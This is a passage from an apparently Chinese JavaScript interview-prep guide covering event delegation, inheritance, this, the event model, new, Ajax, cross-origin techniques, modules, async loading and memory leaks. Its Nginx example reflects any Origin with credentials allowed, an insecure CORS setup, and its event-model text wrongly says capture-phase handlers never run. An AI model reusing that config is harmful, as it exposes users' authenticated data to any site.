  • 两个好处:动态新增的子元素自动生效(不用重新绑)、N 个监听器压成 1 个(省内存)
  • 关键写法:用 event.target.closest('.item') 而不是直接比较 target,否则点到子元素内部的图标就匹配不上
  • 不适用的场景:不冒泡的事件(focus/blur 要用 focusin/focusout 代替、mouseenter 用 mouseover 代替)
  • 第 7 题有交互演示可以看真实的冒泡顺序

事件代理也叫事件委托,本质上是利用事件冒泡,把多个子元素的监听统一交给父元素处理。 父元素收到事件后,通过 event.target 判断实际触发者,因此能减少重复注册和内存占用,动态新增的子元素也无需重新绑定。实际处理嵌套内容时,我一般用 event.target.closest('.item'),避免点击图标等内部节点时匹配失败。它依赖事件冒泡,像 focus、blur 这类事件要改用 focusin、focusout 等可冒泡方案。

  • 事件代理(Event Delegation),又称之为事件委托。是 JavaScript 中常用绑定事件的常用技巧。顾名思义,“事件代理”即是把原本需要绑定的事件委托给父元素,让父元素担当事件监听的职务。事件代理的原理是DOM元素的事件冒泡。使用事件代理的好处是可以提高性能
  • 可以大量节省内存占用,减少事件注册,比如在table上代理所有td的click事件就非常棒
  • 可以实现当新增子对象时无需再次对其绑定

下面是一个简单的事件代理的示例代码:

<ul id="myList">
  <li>Item 1</li>
  <li>Item 2</li>
  <li>Item 3</li>
</ul>
// 使用事件代理绑定点击事件
var myList = document.getElementById('myList');
myList.addEventListener('click', function(event) {
  if (event.target.tagName === 'LI') {
    console.log('Clicked on:', event.target.textContent);
  }
});

在上述示例中,我们将点击事件绑定到父元素 myList 上,当点击子元素 li 时,事件会冒泡到父元素,父元素上的事件处理函数会捕获到事件,并根据 event.target 来判断点击的具体元素。这样就实现了对子元素点击事件的代理处理。

使用事件代理的优势是可以减少事件处理程序的数量,尤其适用于大量的子元素或动态添加的元素,避免了为每个子元素都绑定事件处理程序的麻烦。同时,对于新增的子元素,无需再次绑定事件,它们会自动继承父元素上的事件处理。

需要注意的是,在事件代理中,我们需要通过 event.target 来判断具体触发事件的元素,从而执行相应的逻辑。

# 5 Javascript如何实现继承?

⚡ 30 秒速记

  • 按演进顺序讲最清楚:原型链继承(引用类型共享的问题)→ 构造函数继承(方法无法复用)→ 组合继承(父构造函数被调用两次)→ 原型式 → 寄生式 → 寄生组合式继承(ES5 最优解)
  • 寄生组合式的核心:Child.prototype = Object.create(Parent.prototype) + 修正 constructor + 构造函数里 Parent.call(this)
  • ES6 的 class extends 本质就是寄生组合式的语法糖,但多了一步:子类没有自己的 this,必须先调 super() 才能用 this
  • extends 还能继承静态方法(Child.__proto__ === Parent),这是 ES5 做不到的
  • 面试直接答 class extends,再说明它对应 ES5 的哪种方案,比背六种写法有效

JavaScript 可以通过原型链实现继承,常见做法是让子构造函数的 prototype 指向父构造函数的实例。 这样创建子类实例时,就能沿着原型链访问父类提供的属性和方法。替换原型后要把 Child.prototype.constructor 改回 Child,否则实例通过 constructor 识别构造函数时会得到错误结果。

在 JavaScript 中,实现继承的方式有多种,包括构造继承、原型继承、实例继承和拷贝继承等。其中,使用构造函数与原型混合方式是较常用和推荐的方式。

以下是使用构造函数与原型混合方式实现继承的示例代码:

function Parent() {
  this.name = 'poetry';
}

function Child() {
  this.age = 28;
}

// 使用构造函数继承
Child.prototype = new Parent();
Child.prototype.constructor = Child;

var demo = new Child();
console.log(demo.age); // 输出: 28
console.log(demo.name); // 输出: poetry
console.log(demo.constructor); // 输出: Child

通过将 Child.prototype 设置为 new Parent(),子类 Child 继承了父类 Parent 的属性和方法。然后,通过手动将 Child.prototype.constructor 设置为 Child,确保子类的构造函数指向自身。

这样,demo.constructor 的输出将是 Child,表示 demo 实例的构造函数是 Child,以确保子类的实例通过 constructor 属性可以准确地识别其构造函数。

# 6 谈谈This对象的理解

⚡ 30 秒速记

  • 与第 53 题同考点,第 53 题有八种调用方式的交互演示
  • 核心:普通函数的 this 在调用时确定(谁调用指向谁),箭头函数在定义时确定(取外层作用域的 this)
  • 优先级:new > call/apply/bind > 方法调用 > 独立调用
  • 独立调用时非严格模式指向 globalThis,严格模式(含 ES module、class)是 undefined
  • 两个高频坑:方法赋值给变量后单独调用会丢 this;方法内部嵌套的普通函数也会丢

this 表示函数当前的调用上下文,普通函数中的指向由调用方式决定。 作为对象方法调用时,它指向该对象;通过 call、apply 或 bind 调用时,则指向显式指定的对象。使用 new 时,this 指向新创建的实例;普通调用在非严格模式下指向全局对象,在严格模式下是 undefined。箭头函数不会创建自己的 this,而是直接沿用外层作用域的值。

  • 在全局作用域中,this 指向全局对象(在浏览器环境中通常是 window 对象)。
  • 在函数中,this 的值取决于函数的调用方式。
    • 如果函数是作为对象的方法调用,this 指向调用该方法的对象。
    • 如果函数是作为普通函数调用,this 指向全局对象(非严格模式下)或 undefined(严格模式下)。
    • 如果函数是通过 call、apply 或 bind 方法调用,this 指向 call、apply 或 bind 方法的第一个参数所指定的对象。
    • 如果函数是作为构造函数调用(使用 new 关键字),this 指向新创建的对象。
  • 在箭头函数中,this 的值是继承自外部作用域的,它不会因为调用方式的改变而改变。

下面是一些示例代码,以说明 this 的不同情况:

// 全局作用域中的 this
console.log(this); // 输出: Window

// 对象方法中的 this
const obj = {
  name: 'poetry',
  sayHello: function() {
    console.log(`Hello, ${this.name}!`);
  }
};
obj.sayHello(); // 输出: Hello, poetry!

// 普通函数调用中的 this
function greeting() {
  console.log(`Hello, ${this.name}!`);
}
greeting(); // 输出: Hello, undefined (非严格模式下输出: Hello, [全局对象的某个属性值])

// 使用 call/apply/bind 改变 this
const person = {
  name: 'poetry'
};
greeting.call(person); // 输出: Hello, poetry!
greeting.apply(person); // 输出: Hello, poetry!
const boundGreeting = greeting.bind(person);
boundGreeting(); // 输出: Hello, poetry!

// 构造函数中的 this
function Person(name) {
  this.name = name;
}
const poetry = new Person('poetry');
console.log(poetry.name); // 输出: poetry

// 箭头函数中的 this
const arrowFunc = () => {
  console.log(this);
};
arrowFunc(); // 输出: Window

# 7 事件模型

⚡ 30 秒速记

  • 一次点击走三个阶段:捕获(window 往下到目标)→ 目标阶段 → 冒泡(目标往上回到 window)
  • addEventListener 第三参数 true 挂捕获,默认 false 挂冒泡
  • stopPropagation() 阻止继续传播,preventDefault() 阻止默认行为(如 a 标签跳转),两者互不相干
  • 事件委托靠冒泡实现:监听挂父元素,用 event.target 判断真正被点的是谁 —— 动态新增的子元素自动生效,还省掉大量监听器
  • DOM0(onclick)只能挂一个且会互相覆盖,DOM2(addEventListener)可以挂多个;IE 的 attachEvent 只有冒泡且 this 指向 window

浏览器事件模型包含捕获、目标和冒泡三个阶段,事件先从外层向目标传递,再从目标向外层返回。 addEventListener 的第三个参数为 true 时监听捕获阶段,为 false 或省略时监听冒泡阶段。比如点击嵌套按钮,外层的捕获处理函数会先执行,随后执行按钮自身和内层元素的冒泡处理函数。多个处理函数绑定在同一目标上时,通常按添加顺序执行。

事件流分为三个阶段:捕获阶段、目标阶段和冒泡阶段。

  1. 捕获阶段(Capture Phase):事件从最外层的父节点开始向下传递,直到达到目标元素的父节点。在捕获阶段,事件会经过父节点、祖父节点等,但不会触发任何事件处理程序。
  2. 目标阶段(Target Phase):事件到达目标元素本身,触发目标元素上的事件处理程序。如果事件有多个处理程序绑定在目标元素上,它们会按照添加的顺序依次执行。
  3. 冒泡阶段(Bubble Phase):事件从目标元素开始向上冒泡,传递到父节点,直到传递到最外层的父节点或根节点。在冒泡阶段,事件会依次触发父节点、祖父节点等的事件处理程序。

事件流的默认顺序是从目标元素的最外层父节点开始的捕获阶段,然后是目标阶段,最后是冒泡阶段。但是可以通过事件处理程序的绑定顺序来改变事件处理的执行顺序。

例如,以下代码演示了事件流的执行顺序:

<div id="outer">
  <div id="inner">
    <button id="btn">Click me</button>
  </div>
</div>
var outer = document.getElementById('outer');
var inner = document.getElementById('inner');
var btn = document.getElementById('btn');

outer.addEventListener('click', function() {
  console.log('Outer div clicked');
}, true); // 使用捕获阶段进行事件监听

inner.addEventListener('click', function() {
  console.log('Inner div clicked');
}, false); // 使用冒泡阶段进行事件监听

btn.addEventListener('click', function() {
  console.log('Button clicked');
}, false); // 使用冒泡阶段进行事件监听

当点击按钮时,事件的执行顺序如下:

  1. 捕获阶段:触发外层div的捕获事件处理程序。
  2. 目标阶段:触发按钮的事件处理程序。
  3. 冒泡阶段:触发内层div的冒泡事件处理程序。

输出结果为:

Outer div clicked
Button clicked
Inner div clicked

这个示例展示了事件流中捕获阶段、目标阶段和冒泡阶段的执行顺序。

可以通过addEventListener方法的第三个参数来控制事件处理函数在捕获阶段或冒泡阶段执行,true表示捕获阶段,false或不传表示冒泡阶段。

# 8 new操作符具体干了什么呢?

⚡ 30 秒速记

  • 四步:① 创建一个空对象 ② 把它的 __proto__ 指向构造函数的 prototype ③ 用它当 this 执行构造函数 ④ 如果构造函数返回的是对象就用那个,否则返回这个新对象
  • 第四步是考点:return 一个对象会覆盖默认返回值,return 基本类型则被忽略
  • 手写实现:function myNew(Fn, ...args) { const obj = Object.create(Fn.prototype); const r = Fn.apply(obj, args); return r instanceof Object ? r : obj }
  • 箭头函数不能被 new(没有 prototype 也没有自己的 this)
  • 第 3 题的原型链演示可以看到 new 出来的实例的 __proto__ 指向哪

new 会创建一个新对象,把它关联到构造函数的 prototype,再以该对象作为 this 执行构造函数。 构造函数中的属性和方法因此会被添加到新对象上,并且这个对象默认会被返回。手写时可以用 Object.setPrototypeOf 建立原型关系,再用 apply 传入参数并执行构造函数。如果构造函数显式返回了非 null 对象,就使用该返回值,否则仍返回新创建的对象。

  • 创建一个空对象,并且 this 变量引用该对象,同时还继承了该函数的原型
  • 属性和方法被加入到 this 引用的对象中
  • 新创建的对象由 this 所引用,并且最后隐式的返回 this

实现一个简单的 new 方法,可以按照以下步骤进行操作:

  1. 创建一个新的空对象。
  2. 将新对象的原型链接到构造函数的原型对象。
  3. 将构造函数的作用域赋给新对象,以便在构造函数中使用 this 引用新对象。
  4. 执行构造函数,并将参数传递给构造函数。
  5. 如果构造函数没有显式返回一个对象,则返回新对象。
function myNew(constructor, ...args) {
  // 创建一个新的空对象
  const newObj = {};

  // 将新对象的原型链接到构造函数的原型对象
  Object.setPrototypeOf(newObj, constructor.prototype);

  // 将构造函数的作用域赋给新对象,并执行构造函数
  const result = constructor.apply(newObj, args);

  // 如果构造函数有显式返回一个对象,则返回该对象;否则返回新对象
  return typeof result === 'object' && result !== null ? result : newObj;
}

使用上述自定义的 myNew 方法,可以实现与 new 操作符类似的效果,如下所示:

function Person(name, age) {
  this.name = name;
  this.age = age;
}

Person.prototype.sayHello = function() {
  console.log('Hello, my name is ' + this.name);
};

var poetry = myNew(Person, 'poetry', 25);
console.log(poetry.name); // 输出: poetry
console.log(poetry.age); // 输出: 25
poetry.sayHello(); // 输出: Hello, my name is poetry

注意,这只是一个简化的实现,不考虑一些复杂的情况,例如原型链的继承和构造函数返回对象的情况。在实际应用中,建议使用内置的 new 操作符来创建对象实例,因为它处理了更多的细节和边界情况。

# 9 Ajax原理

⚡ 30 秒速记

  • 本质:用 JS 在不刷新整页的前提下与服务器交换数据,再局部更新 DOM
  • XMLHttpRequest 四步:new XMLHttpRequest() → open(method, url, async) → 监听 onreadystatechange(readyState===4 且 status 2xx)→ send(body)
  • readyState 五个值:0 未初始化、1 已 open、2 已 send、3 接收中、4 完成
  • 今天应该主答 fetch:基于 Promise、语法简洁、配 AbortController 可取消
  • 但要说清 fetch 的三个坑:HTTP 错误码(404/500)不会 reject、默认不带 cookie(要 credentials:'include')、没有原生进度和超时
  • 需要上传进度或超时控制时,XHR 仍有不可替代性(axios 底层就是 XHR)

Ajax 本质上是浏览器通过 JavaScript 异步请求服务器,拿到数据后局部更新 DOM,不用刷新整个页面。 核心对象是 XMLHttpRequest,创建实例后用 open() 配置请求、send() 发送,再通过 onreadystatechange 等待结果。readyState 为 4 代表请求完成,此时还要检查 status,成功后才能处理响应。它能减少不必要的数据往返、改善交互体验,但也会暴露接口细节,对搜索引擎支持较弱,调试起来相对麻烦。

  • Ajax的原理简单来说是在用户和服务器之间加了—个中间层(AJAX引擎),通过XmlHttpRequest对象来向服务器发异步请求,从服务器获得数据,然后用javascript来操作DOM而更新页面。使用户操作与服务器响应异步化。这其中最关键的一步就是从服务器获得请求数据
  • Ajax的过程只涉及JavaScript、XMLHttpRequest和DOM。XMLHttpRequest是ajax的核心机制
// 手写简易ajax
/** 1. 创建连接 **/
var xhr = null;
xhr = new XMLHttpRequest()
/** 2. 连接服务器 **/
xhr.open('get', url, true)
/** 3. 发送请求 **/
xhr.send(null);
/** 4. 接受请求 **/
xhr.onreadystatechange = function(){
	if(xhr.readyState == 4){
		if(xhr.status == 200){
			success(xhr.responseText);
		} else {
			/** false **/
			fail && fail(xhr.status);
		}
	}
}
// promise封装
function ajax(url) {
  const p = new Promise((resolve, reject) => {
    const xhr = new XMLHttpRequest()
    xhr.open('GET', url, true)
    xhr.onreadystatechange = function () {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          resolve(
            JSON.parse(xhr.responseText)
          )
        } else if (xhr.status === 404 || xhr.status === 500) {
          reject(new Error('404 not found'))
        }
      }
    }
    xhr.send(null)
  })
  return p
}
// 测试
const url = '/data/test.json'
ajax(url)
  .then(res => console.log(res))
  .catch(err => console.error(err))

ajax 有那些优缺点?

  • 优点:
    • 通过异步模式,提升了用户体验.
    • 优化了浏览器和服务器之间的传输,减少不必要的数据往返,减少了带宽占用.
    • Ajax在客户端运行,承担了一部分本来由服务器承担的工作,减少了大用户量下的服务器负载。
    • Ajax可以实现动态不刷新(局部刷新)
  • 缺点:
    • 安全问题 AJAX暴露了与服务器交互的细节。
    • 对搜索引擎的支持比较弱。
    • 不容易调试。

# 10 如何解决跨域问题?

⚡ 30 秒速记

  • 先说清楚成因:同源策略限制的是"浏览器读取跨源响应",请求其实已经发出去了
  • CORS(首选):服务端设 Access-Control-Allow-Origin 等响应头。复杂请求会先发 OPTIONS 预检;带 cookie 时 Origin 不能是 * 且要配 credentials
  • 开发环境代理:Webpack/Vite 的 devServer.proxy,或 Nginx 反向代理 —— 让请求变成同源
  • JSONP:只支持 GET,靠 script 标签不受同源限制,已过时且有安全风险
  • 页面间通信:postMessage(跨窗口/iframe)、document.domain(已废弃)
  • 其它:WebSocket 不受同源策略约束、Node 中间层转发
  • 答题技巧:先分清"接口跨域"和"页面间通信"是两类问题,再分别给方案

跨域通常用服务端配置 CORS 或部署代理解决,本质是处理浏览器同源策略对跨源访问的限制。 同源要求协议、域名和端口都相同;如果接口可改,我一般让服务端返回 Access-Control-Allow-Origin 等响应头。开发环境可以用 webpack-dev-server 代理,生产环境则可由 Nginx 或 Node.js 中间层转发,让浏览器只访问同源地址。JSONP 仅支持 GET,document.domain 也有场景和版本限制,因此通常不作为现代项目的首选。

首先了解下浏览器的同源策略 同源策略/SOP(Same origin policy)是一种约定,由Netscape公司1995年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS、CSRF等攻击。所谓同源是指"协议+域名+端口"三者相同,即便两个不同的域名指向同一个ip地址,也非同源

1. 通过jsonp跨域

封装一个可用的 JSONP 方法,可以参考以下示例代码:

function jsonp(url, params, callback) {
  // 生成唯一的回调函数名
  const callbackName = 'jsonp_' + Date.now();

  // 将参数拼接到 URL 中
  const queryString = Object.keys(params)
    .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(params[key]))
    .join('&');

  // 创建 script 元素
  const script = document.createElement('script');
  script.src = url + '?' + queryString + '&callback=' + callbackName;

  // 定义回调函数
  window[callbackName] = function(data) {
    // 调用回调函数
    callback(data);

    // 删除 script 元素和回调函数
    document.head.removeChild(script);
    delete window[callbackName];
  };

  // 将 script 元素添加到页面中
  document.head.appendChild(script);
}

使用示例:

jsonp('http://www.example.com/api', { user: 'admin' }, function(data) {
  console.log(data);
});

这个 jsonp 函数接受三个参数:URL、参数对象和回调函数。它会生成一个唯一的回调函数名,并将参数拼接到 URL 中。然后创建一个 <script> 元素,并将 URL 设置为带有回调函数名的 URL。定义一个全局的回调函数,当响应返回时调用该回调函数,并将数据传递给回调函数。最后将 <script> 元素添加到页面中,触发跨域请求。当请求完成后,删除 <script> 元素和回调函数。

这样,你就可以通过封装的 JSONP 方法来实现跨域请求并获取响应数据了。

2. document.domain + iframe跨域

自 Chrome 101 版本开始,document.domain 将变为可读属性,也就是意味着上述这种跨域的方式被禁用了

此方案仅限主域相同,子域不同的跨域应用场景

1.)父窗口:(http://www.domain.com/a.html)

<iframe id="iframe" src="http://child.domain.com/b.html"></iframe>
<script>
    document.domain = 'domain.com';
    var user = 'admin';
</script>

2.)子窗口:(http://child.domain.com/b.html)

document.domain = 'domain.com';
// 获取父窗口中的变量
alert('get js data from parent ---> ' + window.parent.user);

3. nginx代理跨域

通过 Nginx 配置反向代理,将跨域请求转发到同源接口,从而避免浏览器的同源策略限制。

下面是一个示例配置,展示了如何通过 Nginx 实现跨域代理:

server {
  listen 80;
  server_name your-domain.com;

  location /api {
    # 设置代理目标地址
    proxy_pass http://api.example.com;

    # 设置允许的跨域请求头
    add_header Access-Control-Allow-Origin $http_origin;
    add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
    add_header Access-Control-Allow-Credentials true;
    add_header Access-Control-Allow-Headers "Origin, X-Requested-With, Content-Type, Accept";

    # 处理预检请求(OPTIONS 请求)
    if ($request_method = OPTIONS) {
      return 200;
    }
  }
}

在上面的示例中,假设你的域名是 your-domain.com,需要代理访问 api.example.com。你可以将这个配置添加到 Nginx 的配置文件中。

这个配置会将 /api 路径下的请求代理到 http://api.example.com。同时,通过添加 Access-Control-Allow-* 头部,允许跨域请求的来源、方法、头部等。

这样,当你在前端发送请求到 /api 路径时,Nginx 会将请求代理到 http://api.example.com,并在响应中添加跨域相关的头部,从而解决跨域问题。注意要根据实际情况进行配置,包括监听的端口、域名和代理的目标地址等。

4. nodejs中间件代理跨域

使用 Node.js 构建一个中间件,在服务器端代理请求,将跨域请求转发到同源接口,然后将响应返回给前端。

可以使用 http-proxy-middleware 模块来创建一个简单的代理服务器。下面是一个示例代码:

const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

// 创建代理中间件
const apiProxy = createProxyMiddleware('/api', {
  target: 'http://api.example.com', // 设置代理目标地址
  changeOrigin: true, // 修改请求头中的 Origin 为目标地址
  pathRewrite: {
    '^/api': '', // 重写请求路径,去掉 '/api' 前缀
  },
  // 可选的其他配置项...
});

// 将代理中间件应用到 '/api' 路径
app.use('/api', apiProxy);

// 启动服务器
app.listen(3000, () => {
  console.log('Proxy server is running on port 3000');
});

在上面的示例中,首先使用 express 框架创建一个服务器实例。然后,使用 http-proxy-middleware 模块创建一个代理中间件。通过配置代理中间件的 target 选项,将请求代理到目标地址 http://api.example.com。

你可以通过其他可选的配置项来进行更多的定制,例如修改请求头、重写请求路径等。在这个示例中,我们将代理中间件应用到路径 /api 下,即当请求路径以 /api 开头时,会被代理到目标地址。

最后,启动服务器并监听指定的端口(这里是 3000)。

请确保你已经安装了 express 和 http-proxy-middleware 模块,并将上述代码保存为一个文件(例如 proxy-server.js)。然后通过运行 node proxy-server.js 来启动代理服务器。

现在,当你在前端发送请求到 /api 路径时,Node.js 代理服务器会将请求转发到 http://api.example.com,从而实现跨域访问。记得根据实际情况修改目标地址和端口号。

5. 后端在头部信息里面设置安全域名

后端可以在响应的头部信息中设置 Access-Control-Allow-Origin 字段,指定允许跨域访问的域名。例如,在 Node.js 中可以使用 cors 模块来实现:

const express = require('express');
const cors = require('cors');

const app = express();

// 允许所有域名跨域访问
app.use(cors());

// 其他路由和逻辑处理...

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});

6. 通过webpack devserver代理

使用 webpack-dev-server 的代理功能可以实现在开发过程中的跨域请求。你可以配置 devServer 对象中的 proxy 选项来设置代理。下面是一个示例配置:

module.exports = {
  // 其他配置项...
  devServer: {
    proxy: {
      '/api': {
        target: 'http://api.example.com', // 设置代理目标地址
        pathRewrite: { '^/api': '' }, // 重写请求路径,去掉 '/api' 前缀
        changeOrigin: true, // 修改请求头中的 Origin 为目标地址
      },
    },
  },
};

在上面的示例中,我们配置了一个代理,将以 /api 开头的请求转发到 http://api.example.com。通过 pathRewrite 选项,我们去掉了请求路径中的 /api 前缀,以符合目标地址的接口路径。

将上述配置添加到你的 webpack.config.js 文件中,然后启动 webpack-dev-server。现在,当你在前端发送以 /api 开头的请求时,webpack-dev-server 会将请求转发到目标地址,并返回响应结果。

注意,这里的配置是针对开发环境下的代理,当你构建生产环境的代码时,代理配置不会生效。

请确保你已经安装了 webpack-dev-server,并在你的 package.json 文件的 scripts 中添加启动命令,例如:

{
  "scripts": {
    "start": "webpack-dev-server --open"
  }
}

运行 npm start 或 yarn start 来启动 webpack-dev-server。

这样,通过配置 webpack-dev-server 的代理,你就可以在开发过程中实现跨域请求。记得根据实际情况修改目标地址和请求路径。

7. CORS(跨域资源共享)

在服务端设置响应头部,允许特定的域名或所有域名访问该资源。可以通过在响应头部中设置 Access-Control-Allow-Origin 字段来指定允许访问的域名。

示例代码(Node.js + Express):

const express = require('express');
const app = express();

// 允许所有域名访问
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  next();
});

// 路由和处理逻辑
// ...

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});

8. WebSocket

使用 WebSocket 协议进行通信,WebSocket 不受同源策略限制,因此可以在不同域之间进行双向通信。

示例代码(JavaScript):

const socket = new WebSocket('ws://example.com/socket');

socket.onopen = () => {
  console.log('WebSocket connection established.');
  // 发送数据
  socket.send('Hello, server!');
};

socket.onmessage = (event) => {
  console.log('Received message from server:', event.data);
};

socket.onclose = () => {
  console.log('WebSocket connection closed.');
};

9. 代理服务器

在同一域名下,前端通过发送请求给同域下的代理服务器,然后由代理服务器转发请求到目标服务器,并将响应返回给前端,实现跨域请求。

示例代码(Node.js + Express):

const express = require('express');
const axios = require('axios');
const app = express();

app.get('/api/data', (req, res) => {
  // 向目标服务器发送请求
  axios.get('http://api.example.com/data')
    .then((response) => {
      // 将目标服务器的响应返回给前端
      res.json(response.data);
    })
    .catch((error) => {
      res.status(500).json({ error: 'An error occurred' });
    });
});

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});

# 11 模块化开发怎么做?

⚡ 30 秒速记

  • 演进顺序:全局函数 → 命名空间对象 → IIFE 模块模式 → CommonJS(Node)/ AMD(require.js)/ CMD(sea.js)→ UMD 兼容层 → ES Module(语言标准)
  • ESM 是今天的答案:import/export、静态分析、支持 Tree Shaking、顶层 await、浏览器原生支持
  • ESM vs CommonJS:ESM 是编译期静态解析、导出的是值的引用(动态绑定)、异步加载;CommonJS 是运行时加载、导出的是值的拷贝、同步
  • AMD/CMD 已经是历史,提一句即可,重点讲 ESM 和 CJS 的差异
  • 工程现状:库同时产出 ESM + CJS 双格式(package.json 的 exports 字段声明),浏览器侧一律用 ESM

模块化开发就是把功能拆成职责清晰的独立文件,通过明确的导入和导出组织依赖。 现代浏览器和工具链通常采用 ES Modules,用 export 暴露能力、用 import 引入依赖;Node.js 项目也常见通过 require 和 module.exports 使用 CommonJS。较早的浏览器代码还会用立即执行函数隔离私有变量,或借助 AMD 异步加载模块。实际选择要看运行环境,现代前端优先使用 ES Modules,维护旧项目时再兼容其他规范。

当涉及模块化开发时,有多种方法可供选择:

1. 立即执行函数模式:

  • 使用立即执行函数来创建模块,将私有成员放在函数作用域内,不直接暴露给外部。
  • 通过返回一个包含公共方法的对象,使这些方法可以在外部访问。
var module = (function() {
  var privateVar = 'Private Variable';

  function privateMethod() {
    console.log('This is a private method');
  }

  function publicMethod() {
    console.log('This is a public method');
  }

  return {
    publicMethod: publicMethod
  };
})();

module.publicMethod(); // Output: This is a public method

2. CommonJS:

  • 使用 require 导入模块,使用 module.exports 或 exports 导出模块。
  • 适用于 Node.js 环境。
// math.js
function add(a, b) {
  return a + b;
}

function subtract(a, b) {
  return a - b;
}

module.exports = {
  add,
  subtract
};
// app.js
const math = require('./math');

console.log(math.add(2, 3)); // Output: 5
console.log(math.subtract(5, 2)); // Output: 3

3. ES Modules:

  • 使用 import 导入模块,使用 export 导出模块。
  • 适用于现代浏览器环境和支持 ES6 模块的工具链。
// math.js
export function add(a, b) {
  return a + b;
}

export function subtract(a, b) {
  return a - b;
}
// app.js
import { add, subtract } from './math';

console.log(add(2, 3)); // Output: 5
console.log(subtract(5, 2)); // Output: 3

4. AMD(Asynchronous Module Definition):

  • 使用 define 定义模块,通过异步加载模块。
  • 适用于浏览器环境和需要按需加载模块的场景。
// math.js
define([], function() {
  function add(a, b) {
    return a + b;
  }

  function subtract(a, b) {
    return a - b;
  }

  return {
    add,
    subtract
  };
});
// app.js
require(['math'], function(math) {
  console.log(math.add(2, 3)); // Output: 5
  console.log(math.subtract(5, 2)); // Output: 3
});

以上是常见的模块化开发方式,每种方式都有自己的特点和使用场景,可以根据具体需求选择适合的模块化规范。

# 12 异步加载JS的方式有哪些?

⚡ 30 秒速记

  • <script defer>:并行下载,等 HTML 解析完再按顺序执行,DOMContentLoaded 之前 —— 大多数场景的首选
  • <script async>:并行下载,下载完立刻执行(会打断 HTML 解析),执行顺序不确定 —— 适合独立的第三方脚本(统计、广告)
  • <script type="module">:默认就是 defer 行为
  • 动态创建 script 标签插入 DOM:最灵活,可以按需加载
  • 动态 import():返回 Promise,配合打包工具自动分包,是现代按需加载的标准做法
  • 关键区分图:defer 保序、async 不保序,两者都不阻塞 HTML 解析

异步加载 JavaScript 常用 async、defer、动态创建 script 和动态 import()。 async 会并行下载并在完成后尽快执行,不保证多个脚本的执行顺序,适合彼此独立的脚本;defer 同样并行下载,但会等文档解析完成并按出现顺序执行。需要运行时按需加载时,可以动态插入 script,模块化项目则更适合使用返回 Promise 的 import()。旧方案还包括 XMLHttpRequest 配合 eval()、LABjs 或 Sea.js,但选择时应优先考虑代码依赖关系和执行时机。

你提到的异步加载 JS 的方式都是常见且有效的方法。以下是对每种方式的简要介绍:

1. 设置<script>属性 async="async":

  • 通过将async属性设置为"async",脚本将异步加载并立即执行,不会阻塞页面的解析和渲染。
  • 脚本加载完成后,将在页面中的任何位置立即执行。
<script src="script.js" async="async"></script>

2. 动态创建 script DOM:

  • 使用 JavaScript 动态创建 <script> 元素,并将其添加到文档中。
  • 通过设置 src 属性指定脚本的 URL,异步加载脚本。
var script = document.createElement('script');
script.src = 'script.js';
document.head.appendChild(script);

3. XmlHttpRequest 脚本注入:

  • 使用 XmlHttpRequest 对象加载脚本内容,并将其注入到页面中。
  • 通过异步请求获取脚本内容后,使用 eval() 函数执行脚本。
var xhr = new XMLHttpRequest();
xhr.open('GET', 'script.js', true);
xhr.onreadystatechange = function() {
 if (xhr.readyState === 4 && xhr.status === 200) {
   eval(xhr.responseText);
 }
};
xhr.send();

4. 异步加载库 LABjs:

  • LABjs 是一个用于异步加载 JavaScript 的库,可以管理和控制加载顺序。
  • 它提供了简洁的 API 来定义和加载依赖关系,以及控制脚本加载的时机。
$LAB
 .script('script1.js')
 .wait()
 .script('script2.js');

5. 模块加载器 Sea.js:

  • Sea.js 是一个用于 Web 端模块化开发的加载器,可以异步加载和管理模块依赖关系。
  • 它支持异步加载 JavaScript 模块,并在模块加载完成后执行回调函数。
seajs.use(['module1', 'module2'], function(module1, module2) {
 // 执行依赖模块加载完成后的逻辑
});

6. Deferred Scripts(延迟脚本):

  • 使用 <script> 元素的 defer 属性可以将脚本延迟到文档解析完成后再执行。
  • 延迟脚本会按照它们在文档中出现的顺序执行,但在 DOMContentLoaded 事件触发之前执行。
<script src="script.js" defer></script>

7. Dynamic Import(动态导入):

  • 使用动态导入语法 import() 可以异步加载 JavaScript 模块。
  • 这种方式返回一个 Promise 对象,可以通过 then() 方法处理模块加载完成后的逻辑。
import('module.js')
 .then(module => {
   // 执行模块加载完成后的逻辑
 })
 .catch(error => {
   // 处理加载失败的情况
 });

8. Web Workers(Web 工作者):

  • Web Workers 是运行在后台线程中的 JavaScript 脚本,可以进行耗时操作而不会阻塞主线程。
  • 可以使用 Web Workers 异步加载和执行 JavaScript 脚本,以提高页面的响应性。
var worker = new Worker('worker.js');
worker.onmessage = function(event) {
 // 处理从 Worker 返回的消息
};
worker.postMessage('start');

# 13 那些操作会造成内存泄漏?

⚡ 30 秒速记

  • 意外的全局变量(未声明就赋值,非严格模式下挂到 window)
  • 被遗忘的定时器和事件监听器:组件卸载时没 clearInterval / removeEventListener
  • 闭包持有大对象且长期存活
  • 脱离 DOM 的引用:DOM 节点已从文档移除,但 JS 变量还指着它
  • 未清理的第三方实例:地图、图表、播放器都要调 destroy()
  • 缓存无限增长:普通 Map 做缓存不设上限,改用 WeakMap/WeakSet 让键可被回收
  • 排查方法:DevTools Memory 面板拍两次堆快照做 Comparison,看 Detached HTMLElement 的数量

对象已经不用了却仍被引用,就可能造成内存泄漏。 常见情况包括意外创建全局变量、闭包长期持有外部数据,以及调试控制台保留了对象引用。老版本 IE 中,移除绑定事件的 DOM 元素却不解绑,也可能无法释放内存;把字符串传给 setTimeout 同样不推荐。循环引用本身不一定泄漏,如果外部已经没有引用,垃圾回收器仍可能将其回收。

JavaScript 内存泄露指对象在不需要使用它时仍然存在,导致占用的内存不能使用或回收

  • 未使用 var 声明的全局变量
  • 闭包函数(Closures)
  • 循环引用(两个对象相互引用)
  • 控制台日志(console.log)
  • 移除存在绑定事件的DOM元素(IE)
  • setTimeout 的第一个参数使用字符串而非函数的话,会引发内存泄漏
  • 垃圾回收器定期扫描对象,并计算引用了每个对象的其他对象的数量。如果一个对象的引用数量为 0(没有其他对象引用过该对象),或对该对象的惟一引用是循环的,那么该对象的内存即可回收

下面是一些常见操作可能导致内存泄漏的示例代码:

  1. 未使用 var 声明的全局变量:
function foo() {
